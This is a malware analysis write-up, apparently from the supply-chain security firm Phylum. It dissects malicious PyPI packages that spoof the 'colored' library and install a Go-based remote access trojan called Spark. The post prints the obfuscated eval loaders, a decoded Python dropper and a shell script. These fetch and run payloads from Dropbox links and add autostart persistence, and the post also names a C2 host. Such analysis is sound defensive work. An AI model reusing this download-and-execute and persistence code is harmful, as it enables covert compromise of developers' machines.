Phylum Discovers Go-Based RAT “Spark” Being Distributed on PyPI

Phylum Discovers Go-Based RAT “Spark” Being Distributed on PyPI

On 8 February 2023 at 21:25:00 UTC, Phylum’s automated risk detection platform alerted us to the publication of pycolured on PyPI, and we immediately notified the PyPI maintainers. As we were digging deeper into the details of the package, our system also alerted us to the publication of pycolurate and colurful which bore similar hallmarks and appear to be from the same campaign.

Starjacking or not?

Numerous recent attempts to publish malware on PyPI have started by taking an existing package and then surreptitiously slipping a bit of malware into them. In this case, the malware author used the colored package as a base. Initially, we were tempted to label this as yet another starjacking - an illegitimate package posing as a legitimate package that has a high number of stars on GitHub. However, colored only has 20 stars, and so we refer to packages like pycolured as a spork - a spoof of a fork of a relatively obscure package.

We also observed that the malware author published the malicious packages to PyPI with a very similar username to the legitimate author of the legitimate colored package. The legitimate author’s username is “dslackw” and the malware was published under the username “dslackw12”.

coloured-blah

Peeling back the layers of obfuscation

In an obvious attempt to hide the malicious payload in pycolured, the first stage of malware is buried 436 lines deep into the file colored.py where we find the following:

def aovcpeoTwvocpvTmcvna(aocpeaTeocpvTacva):
    aocpeaTneocpvTacva = 9
    while aocpeaTneocpvTacva > 6:
        aoccpeaTneocpvTacva = aocpeaTeocpvTacva.copy()
        for aovcpeaTneocpvTacva in range(len(aocpeaTeocpvTacva)):
            aoccpeaTneocpvTacva[aovcpeaTneocpvTacva] = aocpeaTeocpvTacva[len(aocpeaTeocpvTacva) - aovcpeaTneocpvTacva - 1] + 3
        aocpeaTeocpvTacva = aoccpeaTneocpvTacva
        aocpeaTneocpvTacva -= 1
    return aocpeaTeocpvTacva
aovcpeaTneocpvTacvna = " \liK4cc\_j#pg%\c`]&gdk&*ef_kpgccXZ%jj\ZfigYlj ke`ig1ifii<[elf=kfE\c`=kg\Zo\  ke`igeS1kg\Zo\eS K8G\mfd\i%jfeS1pikeS1 \c`]Vj`% K8G_kXG]`\k`in%] eS \liK4cc\_j#S(5)ccle&m\[&5_j%_kXg%&\kX[gl&Y[]jd%&I<jl&\df_&_jxysccxz%jj\zfigyljes \c`]vcxzfc#cilv\kfd\i\m\`ik\icil%kj\lh\ies_j%_kxg%&\"?k8g4\c`]vcxzfces_j%xc`qfd&ocle_ze(g="" \^)_^&j&dfz%ofygfi[%c[&&1jgkk_4cilv\kfd\i\k`in%]="" es1\jc\es="" ke`iges1="" \c`]vj`%="" ?k8g_kxg]`es="" ?k8gji`[\\bxd%jfes1kj`o<j`kfe]`es="" ?k8gjkj`o\%_kxg%jf4kj`o<j`espg%\c`]&gdk&4k8ges\kx[gl&y[]jd%&\"fcc\_\"&\df_&4?k8ges="" e`^fck\^%jf4fcc\_eskj\lh\ikifgd`y`ccildfi]es_kxgkifgd`y`c_kxgdfi]esjj\zfigyljkifgd`esjfkifgd`\k`in%]1]jx="" n#pg%\c`]&gdk&e\gf_k`n1pik1="" ole`c_k`njkixkj%="" d\kjpj%dif]kxcg]`jj\zfigylj#dif]kxcg#jfkifgd`"="" aovcpeotneocpvtmcvna="bytearray(aovcpeaTneocpvTacvna," "utf-8")="" aovcpeotnvocpvtmcvna="aovcpeoTwvocpvTmcvna(aovcpeoTneocpvTmcvna)" aovcpeatneocpvtmcvna="aovcpeoTnvocpvTmcvna.decode("utf-8")" eval(compile(aovcpeatneocpvtmcvna,'<string="">','exec'))</jl&\df_&_jxysccxz%jj\zfigyljes>

The strange variable naming convention immediately reminded us of an attack that Phylum discovered in November 2022. For comparison, here’s a snippet of colors.py from the coloroma package from our November report where the obfuscation scheme is clearly using the same length of variables, set of letters, and capitalization:

apcoeaocvaeav="856823417240988574"
oapvaeaearar="sds444545455asdv"
aodaopvaeaavad="7454631101649255536276263705"
oapvaeaearer="84655449798483886740"
wopvEaTEcopFEavc ="QXFW@G\x14A[S@VVJU?^YC^DL\x14CBQDAWVSAC8\\P\x14A\\PB_XFX\x1aEJBEU\\\x1e\x1d\x17AATGGEE^BZ\x1e\x11{Y[D@\x12\x1a\x0b:\x10\x13\x17\x16\x15\x11\x15\x13M@H\x0e2\x13\x14\x19\x18\x15\x16\x13\x15\x10\x10\x10\x18B_LZ\x13[AR\\\x1c\x17\x16LUE\x18RZ]S\x16DI\x10\x1f\x14\x14O\x12\x1f\x12QA\x15P\x0e;\x10\x11\x16\x19\x17\x14\x15\x14\x16\x13\x11\x11\x10\x11\x16\x14_\x1cBG\\GS\x1a\x15__F\\ED\x15^K\x10o_Y]CXDA\x11FF[BC[[VGJ\x18iXUG_]\x10HTBP^ZV\x11^_D_KL\x18eV@[\x11jVRBX^\x14FJYZ[R\x12\\[D^BE\x16KRE@QEG\x11m^\x13\x1f>\x19\x12\x15\x15\x15\x13\x16\x12\x17\x16\x12\x16\x13\x17\x10\x15W\x16GAXDU\x1b\x15^P]Y\\\x19\x0f\x11[K\x1dS\\LYYT\\^\x18\x19\x18iX\x1a\x1b9\x14\x11\x17\x12\x14\x10\x19\x18\x18\x15\x17\x14\x13\x11\x16\x18R\x1e@A]G]\x1d\x14bqf}\x16\t\x11\x17\x1e^VZQ\x1a\x13\x16\x18\x11YU]Z[\x19\x19\x15\x12\x1a\x1d[]M_^ZR\x18v\\C]v\\I\x17l]\x15\x1f?\x11\x15\x13\x19\x12\x11\x14\x18\x13\x14\x19\x18\x15\x16\x13\x15V\x1eGJ\\B]\x1a\x11dpc\x12\x14\r\x19\x1f\x17AZD\x1cW_TQ\x1eGJ\x13oV\x17\x1f8\x10\x12\x15\x16\x14\x11\x10\x11\x16\x19\x17\x14\x15\x14\x16\x13W\x1fGC_@\\\x1a\x17\\FvN[DB\x12\x0b\x13XC\x1bAYD[\x1fUHZDBF\x19ermz\x18\x14d]\x16\x102\x15\x16\x13\x15\x10\x10\x10\x18\x15\x16\x18\x12\x13\x14\x11\x17T\x1aGKQLP\x1f\x16ZW\x16V[D\x17ZGv@\\EF\nn[\x14\x1d;\x10\x11\x16\x19\x17\x14\x15\x14\x16\x13\x11\x11\x10\x11\x16\x14_\x1cBG\\GS\x1a\x15\x16\x12\x16\x13\x17\x10\x15\x11WC\x1d\\Q[VS_GB\x1dcxfy\x1d\x18oZ\x1b\x11?\x16\x13\x15\x10\x10\x10\x18\x15\x16\x18\x12\x13\x14\x11\x17\x12R\x1eNJQAR\x1c\x11XP\x18dQC[\x1ccya~\x1b\x1e[FiRX\\T\x1e\x10\r\x14iZ\x14\x1a;\x11\x10\x11\x16\x14\x19\x12\x15\x15\x15\x13\x16\x12\x17\x16\x12P\x1d@B\\E]\x18\x11\x11\x10\x10\x13\x17\x16\x15\x11\x15\x13\x19BC]VG\x1c\x1b\x1a\x1c\x16o[\x12\x19:\x18\x15\x16\x18\x12\x13\x14\x11\x17\x12\x14\x10\x19\x18\x18\x15Q\x1aDC_LQ\x18\x15VX@]\x0f\x16n^\x10\x1c<\x14\x11\x10\x11\x16\x19\x17\x14\x15\x14\x16\x13\x11\x11\x10\x11P\x1aN@\\AP\x1b\x14\x12\x17\x16\x12\x16AR]ZE]oFC\\\x10\x0e\x10^AEE@\x03\x1d\x1ePT\x1dPKWET\\MECUJVYVFVZE\x19Q[]\x16K\x17WGR\x03RPBR\x02_\x06\x03\x05W\x06\x19SS]TFqp_GwVAUTF\x18@Y\x16l_\x14\x1d3\x12\x15\x15\x15\x13\x16\x12\x17\x16\x12\x16\x13\x17\x10\x15\x11^\x1eDCYDV\x1f\x14\x15\x11\x15\x13\x19^^WY_k_QYS\x13\x08\x10`ql}\x1d\x1f\x1dCUE_\x1cGX\x1e\x18d[\x15\x1d9\x11\x16\x18\x14\x10\x17\x13\x14\x13\x18\x15\x16\x12\x10\x12\x15P\x1aFBXB\\\x1f\x16\x15\x14\x16\x13\x11CU@CQJF\x1b@G_DWCD[SER\x18GTU_GToEA[\x1a\x15]ZPX^nRQ_Q\x10\x18iX\x11\x1c:\x10\x10\x18\x15\x16\x18\x12\x13\x14\x11\x17\x12\x14\x10\x19\x18^\x1b@FZES\x10\x16\x10\x17\x13\x14\x13K@TBB]VSGB\x1eRWU[\x1ci\x16TRBY\x10\x1e^[TW\x1a\x11``s`\x18\x18_YI^\\YP\x17vZCUv\\O\x19EPA[\x17AY\x14\x06\x1cP\\N\x1aXFY\\\x10\x02\x06\x13\x07d\x10\x1f\x14B_WX\\\x04lJ@R\x1d\x13mX\x1a\x1d:\x17\x13\x14\x13\x18\x15\x16\x12\x10\x12\x15\x16\x14\x11\x10\x11P\x17@F\\@S\x1b\x13\x11\x10\x11\x16\x14PT\x15eTG^\x1agwf\x1f\x1d^CjWQ\\V\x19\x19\n\x13kX\x17\x18?\x13\x19\x12\x11\x14\x18\x13\x14\x19\x18\x15\x16\x13\x15\x10\x10V\x16BDQFV\x1c\x13\x17\x12\x14\x10\x19\x18\x18\x15\x17@AH\x0cdZ\x10\x17\x13\x14\x13\x18\x15\x16\x12\x10\x12ZE\x1aCU\\YOR\x1ceub\x1am_\x12\x18<\x14\x19\x12\x15\x15\x15\x13\x16\x12\x17\x16\x12\x16\x13\x17\x10S\x1fOBZEU\x18\x11\x17\x16\x15\x11\x15\x13\x19\x12\x11Q@PQIL\x0fj]\x15\x10\x10\x10\x18\x15\x16\x18\x12\x13\x14AE[ZD\x11\x11\x1a\x1c=>\x13\x11\x16\x18\x14\x10\x17\x13QK[PFF\x10t\\ZQ\x7f_EpVBZQqDA^C\n;\x16\x14\x19\x12\x15\x15\x15\x13\x16\x12\x17\x16BDZYD\x1d\x13\x1a\x199\x11\x10\x10\x13\x17\x16\x15\x11FF[BC[[VGJ\x16VW_Y\x18\x12@AA^W\\\x00\x14\x1eC_D\x1f_QTP\x19DJ\x11\x10\x1a\x18\x10D[Q_T\x08b@EW\x1c<q]ct\x0c3\x17\x14\x15\x14fax_d\x19\x14\x16\x108" adaovapcaeab="180310037651539214834985635000" adaovapvaea="316840734385620256410169" apcuaocvaeav="3648171150096398278507459902844105" aodaopvaavad="60660394255718142537832422223053503" wopveatecodfeavc="\\^@\\BL\x18AZYFS[ET:^]H[DA\x15GA[GKWW]@K2_Q\x14@TYGWZDZ\x1cANEMPT\x1b\x10\x1eELV@B@F^GX\x1e\x12z_^FA\x16\x1b\x0f?\x17\x11\x18\x11\x14\x12\x15\x13CJJ\x08>\x12\x12\x12\x12\x13\x10\x15\x13\x15\x10\x13\x15DYGX\x18WASV\x1a\x12\x1bCT@\x18VQXS\x1bEM\x13\x15\x17\x1eO\x13\x11\x13YK\x16Q\x0e:\x18\x18\x13\x11\x15\x16\x17\x12\x12\x17\x16\x19\x15\x19\x13\x19V\x18OE[BV\x19\x15Z]F_DB\x10\\J\x14n[\\ZAWC@\x12FFUHA]WWAA\x12o^SAZ]\x13ERD[\\QZ\x11_UBZFC\x19`VDP\x14j[SF[T\x17LJXTZZ\x18_ZD_JL\x13CPGBWAC\x16e[\x1b\x1a3\x10\x16\x18\x17\x12\x16\x13\x11\x17\x13\x10\x16\x10\x16\x16\x10U\x17C@\\AR\x19\x1aYQ^Y\\\x17\x05\x13]G\x1cUWF__RZ[\x18\x1a\x15o^\x11\x192\x18\x11\x16\x18\x12\x15\x14\x17\x19\x10\x17\x10\x18\x14\x16\x15S\x1aCK^M]\x1c\x1acyl~\x17\t\x10\x1f\x17[^XS\x18\x15\x12\x1c\x16QPU_V\x10\x1d\x18\x10\x1d\x18^^MZ\\ZQ\x19pYA\\r]M\x12k_\x1a\x18>\x12\x15\x13\x17\x18\x13\x12\x14\x12\x12\x12\x12\x13\x10\x15\x13S\x1eDGZDV\x18\x1ahpb\x18\x12\x08\x14\x10\x16DZ@\x17R_YP\x1aD@\x10eV\x16\x119\x18\x18\x16\x17\x14\x10\x18\x18\x13\x11\x15\x16\x17\x12\x12\x17P\x17BKZMU\x1e\x1a^AsKXDG\x10\x0b\x10YE\x1eCX@Z\x1bPOXKEG\x1aercp\x1a\x12h\\\x10\x1b8\x13\x10\x15\x13\x15\x10\x13\x15\x13\x10\x13\x10\x18\x18\x11\x16^\x1cBF^MU\x1f\x12QR\x16[Z@\x14PD|@]KG\x02dX\x15\x1d:\x18\x18\x13\x11\x15\x16\x17\x12\x12\x17\x16\x19\x15\x19\x13\x19V\x18OE[BV\x19\x15\x13\x10\x16\x10\x16\x16\x10\x13VG\x1cXT\\T\\XFA\x1dcvl{\x1b\x14n\\\x10\x1b9\x10\x15\x13\x15\x10\x13\x15\x13\x10\x13\x10\x18\x18\x11\x16\x18T\x1bCEPDR\x18\x1a]P\x15eU@Q\x1fiy`p\x1a\x16QEhRYT]\x1b\x18\x0f\x16k\\\x10\x1e<\x19\x15\x19\x13\x19\x10\x16\x18\x17\x12\x16\x13\x11\x17\x13\x10P\x1eADYG\\\x1c\x10\x15\x15\x17\x11\x18\x11\x14\x12\x15\x13\x17HA[ZF\x1a\x10\x10\x1a\x10i]\x17\x199\x15\x13\x10\x13\x10\x18\x18\x11\x16\x18\x12\x15\x14\x17\x19\x10Q\x1eOF_AP\x1c\x16\\[J]\x0e\x18oV\x1a\x1f=\x14\x10\x18\x18\x13\x11\x15\x16\x17\x12\x12\x17\x16\x19\x15\x19U\x17GDQCW\x1e\x11\x11\x17\x13\x10\x16BS[_G\\kGGY\x17\x0c\x1fY@FE@\r\x17\x1cVX\x1cV@]CRZK@CVGP_]D]VE\x18[]X\x1bD\x16RGV\x08WPOS\x06\\\x0c\x00\x0fW\x07\x17R[WWGqqWNr^CWV@\x1cD^\x1eiW\x11\x10:\x16\x18\x17\x12\x16\x13\x11\x17\x13\x10\x16\x10\x16\x16\x10\x13_\x1aEG\\CT\x10\x13\x14\x12\x15\x13\x17T\\QU^mT[_U\x15\x0e\x15`ra{\x1b\x14\x1fHYE^\x16A]\x13\x17e^\x15\x192\x14\x16\x15\x15\x14\x14\x19\x17\x19\x18\x14\x18\x13\x18\x18\x16Q\x1aGJQGT\x1d\x14\x17\x12\x12\x17\x16KPHF\\CB\x16B@ZATCAYSFS\x1eBVT[FPjBCT\x1d\x14^ZPVTlT]^W\x1b\x12o^\x17\x1a?\x10\x13\x15\x13\x10\x13\x10\x18\x18\x11\x16\x18\x12\x15\x14\x17_\x1e@BQ@S\x1d\x17\x14\x14\x19\x17\x19KAZCJWURGC\x16[R]Y\x1ek\x10PVEQ\x15\x16[V]S\x17\x13gevc\x18\x1d]YJ_Z\\R\x16r[GPq^@\x1eDSA[\x19K[n\x16\x1e\x12AZV\\Y\x0eaBFP\x1a\x10o^\x1a\x11;\x16\x18\x12\x15\x14\x17\x19\x10\x17\x10\x18\x14\x16\x15\x15\x14R\x17@KQ@]\x1b\x1a\x18\x16\x17\x14\x10Q^\x13aTB_\x1abvb\x10\x1bP@fV_TR\x1a\x1f\t\x11k]\x12\x1f:\x16\x16\x10\x13\x19\x14\x12\x15\x15\x17\x11\x18\x11\x14\x12\x15U\x19OA[@W\x1a\x10\x12\x13\x10\x15\x13\x15\x10\x13\x15GBJ\ndV\x11\x16\x18\x12\x15\x14\x17\x19\x10\x17\x10WG\x18GPY[OR\x11hul\x1adV\x14\x1e>\x10\x18\x18\x13\x11\x15\x16\x17\x12\x12\x17\x16\x19\x15\x19\x13_\x1eAJ^FS\x1b\x13\x17\x13\x10\x16\x10\x16\x16\x10\x13\\LQPEC\x0bd_\x14\x12\x15\x13\x17\x18\x13\x12\x14\x12\x12B@Z^A\x1b\x1c\x12\x1a?9\x10\x13\x10\x18\x18\x11\x16\x18WMWRID\x17vQXS{Z@rVBW\\qJAWJ\x0c=\x14\x10\x18\x18\x13\x11\x15\x16\x17\x12\x12\x17FK\\WG\x11\x12\x14\x11=\x12\x16\x13\x11\x17\x13\x10\x16CCT@AVWWFF\x19RY]X\x1a\x17CNL[]Z\x01\x12\x1dF^@\x1aU\\\\V\x1bCI\x13\x16\x1a\x14\x11EPWYX\nmBBU\x11>SYFQ\x0e3\x17\x19\x18\x14HAQVB\x1f\x16\x12\x112" iopveoeaaeavocp="apcoeaocvaeav+adaovapvaea+aodaopvaeaavad+adaovapcaeab" uocpeatacovpe="len(wopvEaTEcopFEavc)" oioeateacvpae="" for="" fapceaocva="" in="" range(uocpeatacovpe):="" nopcvaeaopcteapcoteac="wopvEaTEcopFEavc[fapcEaocva]" qqoeapvteaocpocivnva="iOpvEoeaaeavocp[fapcEaocva" %="" len(iopveoeaaeavocp)]="" +="chr(ord(nOpcvaEaopcTEapcoTEac)" ^="" ord(qqoeapvteaocpocivnva))="" eval(compile(oioeateacvpae,="" '<string="">', 'exec'))</q]ct\x0c3\x17\x14\x15\x14fax_d\x19\x14\x16\x108">

These similarities lead us to suspect that this is the same author.

Turning our attention back to pycolured we can see there’s function defined with the odd variable naming convention, a long bytestring, and some decode and eval going on. Though this logic is different than the coloroma package from last November, the level of sophistication is commensurate. Renaming identifiers reveals that the long bytestring has been mangled with a simple offset in a loop that reverses the string each iteration. The decoded UTF-8 string is then compiled and executed.

def reverse_and_add_3(original_list):
    for iteration_count in range(3):
        reversed_list = original_list.copy()
        for i in range(len(original_list)):
            reversed_list[i] = original_list[len(original_list) - i - 1] + 3
        original_list = reversed_list
    return original_list

payload = " \liK4cc\_j#pg%\c`]&gdk&*ef_kpgccXZ%jj\ZfigYlj ke`i---TRUNCATED---"

plaintext = reverse_and_add_3(bytearray(payload, "utf-8")).decode("utf-8")
eval(compile(plaintext,'','exec'))

Working through this obfuscation reveals the code that’s getting sent to eval (my formatting):

import os,platform,subprocess
if platform.system().startswith("Linux"):
    try:
        with open('/tmp/file.py', 'w') as f:
            f.write("import os \nimport subprocess \nfrom pathlib import Path \nfrom urllib import request \nhello = os.getlogin() \nPATH = '/home/' + hello + '/.msfdb/update'\nPAT  = '/tmp/file.py'\nisExist = os.path.exists(PATH) \nif not isExist:\n        os.makedirs(PATH) \nif Path(PATH).is_file(): \n           print("") \nelse: \n")
            f.write("     remote_url ='https://dl.dropbox.com/s/gh2ge8p1nchnulx/mozila.sh'\n     local_file = PATH+'/.path.sh' \n     request.urlretrieve(remote_url, local_file) \n     subprocess.call(\"bash /home/$USER/.msfdb/update/.path.sh >/dev/null 2>&1\", shell=True) \n")
            f.write("     if Path(PAT).is_file(): \n         try:\n           os.remove(PAT)\n         except:\n           print()")
    except FileNotFoundError:
        print("")
    subprocess.call("python3 /tmp/file.py &", shell=True)

It’s evaling more Python code that first checks to see if the machine is running Linux. If so, it then writes un-obfuscated Python to a temp file called file.py in the machine’s /tmp directory which contains the following (my formatting):

import os 
import subprocess 
from pathlib import Path 
from urllib import request 
hello = os.getlogin() 
PATH = '/home/' + hello + '/.msfdb/update'
PAT  = '/tmp/file.py'
isExist = os.path.exists(PATH) 
if not isExist:
    os.makedirs(PATH) 
if Path(PATH).is_file(): 
    print("") 
else: 
    remote_url ='https://dl.dropbox.com/s/gh2ge8p1nchnulx/mozila.sh'
    local_file = PATH+'/.path.sh' 
    request.urlretrieve(remote_url, local_file) 
    subprocess.call("bash /home/$USER/.msfdb/update/.path.sh >/dev/null 2>&1", shell=True) 
    if Path(PAT).is_file(): 
        try:
            os.remove(PAT)
        except:
            print()

This code gets the user’s username first and then creates a folder structure in '/home/<username>/.msfdb/update' if it doesn’t already exist. Then it grabs a shell script from a dropbox link and saves it locally to a file called .path.sh in the newly created folder. Then it uses subprocess.call to launch the bash script and it snuffs all output into /dev/null to prevent the user from seeing anything. And finally it removes the /tmp/file.py dropper stage code.

We grabbed the mozila.sh script and found this:

he=$(echo $USER)
DIR=/home/$he/.msfdb/update
Fil=/home/$he/.msfdb/update/automsf
DIR1=/home/$he/.config/autostart
Fil1=/home/$he/.config/autostart/linuxos.desktop
function hello() {
   if [ -d "$DIR" ];
then
    if [ -f "$Fil" ];
    then
        echo ""
    else
        wget https://dl.dropbox.com/s/uegd0iz8okshs65/abcd -O /home/$he/.msfdb/update/automsf >/dev/null 2>&1 
        chmod +x /home/$he/.msfdb/update/automsf
        /home/$he/.msfdb/update/automsf & 
    fi
else
	mkdir -p /home/$he/.msfdb/update
	wget https://dl.dropbox.com/s/uegd0iz8okshs65/abcd -O /home/$he/.msfdb/update/automsf >/dev/null 2>&1 
        chmod +x /home/$he/.msfdb/update/automsf
        /home/$he/.msfdb/update/automsf &
fi
if [ -d "$DIR1" ];
then
    if [ -f "$Fil1" ];
    then
          echo ""
    else
          echo "[Desktop Entry]
Encoding=UTF-8
Name=MyScript
Comment=MyScript
Icon=gnome-info
Exec=/home/$he/.msfdb/update/automsf
Terminal=false
Type=Application
Categories=

X-GNOME-Autostart-enabled=true
X-GNOME-Autostart-Delay=0" >> ~/.config/autostart/linuxos.desktop
    fi
else
  mkdir -p ~/.config/autostart/
  echo "[Desktop Entry]
Encoding=UTF-8
Name=MyScript
Comment=MyScript
Icon=gnome-info
Exec=/home/$he/.msfdb/update/automsf
Terminal=false
Type=Application
Categories=

X-GNOME-Autostart-enabled=true
X-GNOME-Autostart-Delay=0" >> ~/.config/autostart/linuxos.desktop
fi
   
}
chmod +x /home/$he/.msfdb/update/path.sh
hello >/dev/null 2>&1

This code downloads an executable file called abcd from another dropbox link and saves it to a local file called autosmf in the home/<username>/.msfdb/update/ folder. It then tries to establish persistence by adding this executable to a Linux autostart folder.

The abcd Binary

The binary itself is stripped which increases the difficulty of analysis but as a first pass we can just look at its strings. Doing this we were able to determine that it was built with Golang. We found several references to open-source Go modules and started to map them out.

There are some very useful tools out there that can help us analyze stripped Go binaries with Ghidra. Redress from goretek, for example, allowed us to list the packages used by the binary.

Packages:
Name                             Version
----                             -------
Spark/client/common              
Spark/client/config              
Spark/client/core                
Spark/client/service/desktop     
Spark/client/service/file        
Spark/client/service/process     
Spark/client/service/screenshot  
Spark/client/service/terminal    
Spark/modules                    
Spark/utils                      
Spark/utils/cmap                 
main                             

Vendors:
Name                                            Version
----                                            -------
crypto/ed25519/internal/edwards25519            
crypto/ed25519/internal/edwards25519/field      
crypto/elliptic/internal/fiat                   
crypto/elliptic/internal/nistec                 
github.com/creack/pty                           v1.1.18
github.com/denisbrodbeck/machineid              v1.0.1
github.com/gen2brain/shm                        v0.0.0-20210511105953-083dbc7d9d83
github.com/gorilla/websocket                    v1.5.0
github.com/imroc/req/v3                         v3.8.2
github.com/imroc/req/v3/internal                v3.8.2
github.com/imroc/req/v3/internal/ascii          v3.8.2
github.com/imroc/req/v3/internal/charsets       v3.8.2
github.com/imroc/req/v3/internal/socks          v3.8.2
github.com/imroc/req/v3/internal/util           v3.8.2
github.com/jezek/xgb                            v0.0.0-20210312150743-0e0f116e1240
github.com/jezek/xgb/shm                        v0.0.0-20210312150743-0e0f116e1240
github.com/jezek/xgb/xinerama                   v0.0.0-20210312150743-0e0f116e1240
github.com/jezek/xgb/xproto                     v0.0.0-20210312150743-0e0f116e1240
github.com/json-iterator/go                     v1.1.12
github.com/kataras/golog                        v0.1.7
github.com/kataras/pio                          v0.0.10
github.com/kataras/pio/terminal                 v0.0.10
github.com/kbinani/screenshot                   v0.0.0-20210720154843-7d3a670d8329
github.com/kbinani/screenshot/internal/util     v0.0.0-20210720154843-7d3a670d8329
github.com/kbinani/screenshot/internal/xwindow  v0.0.0-20210720154843-7d3a670d8329
github.com/modern-go/concurrent                 v0.0.0-20180306012644-bacd9c7ef1dd
github.com/modern-go/reflect2                   v1.0.2
github.com/shirou/gopsutil/v3/cpu               v3.22.2
github.com/shirou/gopsutil/v3/disk              v3.22.2
github.com/shirou/gopsutil/v3/host              v3.22.2
github.com/shirou/gopsutil/v3/internal/common   v3.22.2
github.com/shirou/gopsutil/v3/mem               v3.22.2
github.com/shirou/gopsutil/v3/net               v3.22.2
github.com/shirou/gopsutil/v3/process           v3.22.2
github.com/tklauser/go-sysconf                  v0.3.9
github.com/tklauser/numcpus                     v0.3.0
golang.org/x/net/html                           v0.0.0-20220111093109-d55c255bac03
golang.org/x/net/html/charset                   v0.0.0-20220111093109-d55c255bac03
golang.org/x/net/http/httpguts                  v0.0.0-20220111093109-d55c255bac03
golang.org/x/net/http2/hpack                    v0.0.0-20220111093109-d55c255bac03
golang.org/x/net/idna                           v0.0.0-20220111093109-d55c255bac03
golang.org/x/net/publicsuffix                   v0.0.0-20220111093109-d55c255bac03
golang.org/x/sys/unix                           v0.0.0-20220111092808-5a964db01320
golang.org/x/text/encoding                      v0.3.7
golang.org/x/text/encoding/charmap              v0.3.7
golang.org/x/text/encoding/htmlindex            v0.3.7
golang.org/x/text/encoding/ianaindex            v0.3.7
golang.org/x/text/encoding/internal             v0.3.7
golang.org/x/text/encoding/japanese             v0.3.7
golang.org/x/text/encoding/korean               v0.3.7
golang.org/x/text/encoding/simplifiedchinese    v0.3.7
golang.org/x/text/encoding/traditionalchinese   v0.3.7
golang.org/x/text/encoding/unicode              v0.3.7
golang.org/x/text/internal/language             v0.3.7
golang.org/x/text/internal/language/compact     v0.3.7
golang.org/x/text/internal/tag                  v0.3.7
golang.org/x/text/language                      v0.3.7
golang.org/x/text/runes                         v0.3.7
golang.org/x/text/secure/bidirule               v0.3.7
golang.org/x/text/transform                     v0.3.7
golang.org/x/text/unicode/bidi                  v0.3.7
golang.org/x/text/unicode/norm                  v0.3.7

NCC Group has some other useful tools for extracting strings in Go binaries and CUJO AI labs has additional tools for strings and recovering function names. We were able to determine a function of interest for the destination address.

coloured-abcd

This function contains an Sprintf function call at address 0x4d62d6. Sprintf and similar print functions are excellent spots to analyze as they often hold important data. Debugging the binary with GDB and setting a breakpoint at that address yields the following:

(gdb) x/s $rsi
0xc00002c2a0:	"dc-symantec.at.ply.gg:30924"

The binary is attempting to make contact with this domain. Performing a quick nslookup:

$ nslookup dc-symantec.at.ply.gg

Non-authoritative answer:
Name:	dc-symantec.at.ply.gg
Address: 209.25.140.229

Navigating directly to the address above redirects to https://playit.gg/ which is “a  global proxy that allows you to host a server without port forwarding”. The intended use case of this service appears to be hosting online game servers, however, they also offer TCP and UDP tunneling, dual stacked IPv4 and IPv6 network, continuous port ranges, and static IPs and ports. Exactly how this malware is using this service remains unclear at this time but it’s possible they may be using this as their C2.

Conclusion

At this time, we believe that the abcd binary in question is most likely Spark or very close variant as the functions and packages used line up with our static and dynamic analysis. Spark (not to be confused with Apache Spark) is, according to its README, “a web-based, cross-platform and full-featured Remote Administration Tool (RAT) written in Go that allows you control all your devices anywhere”.

Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.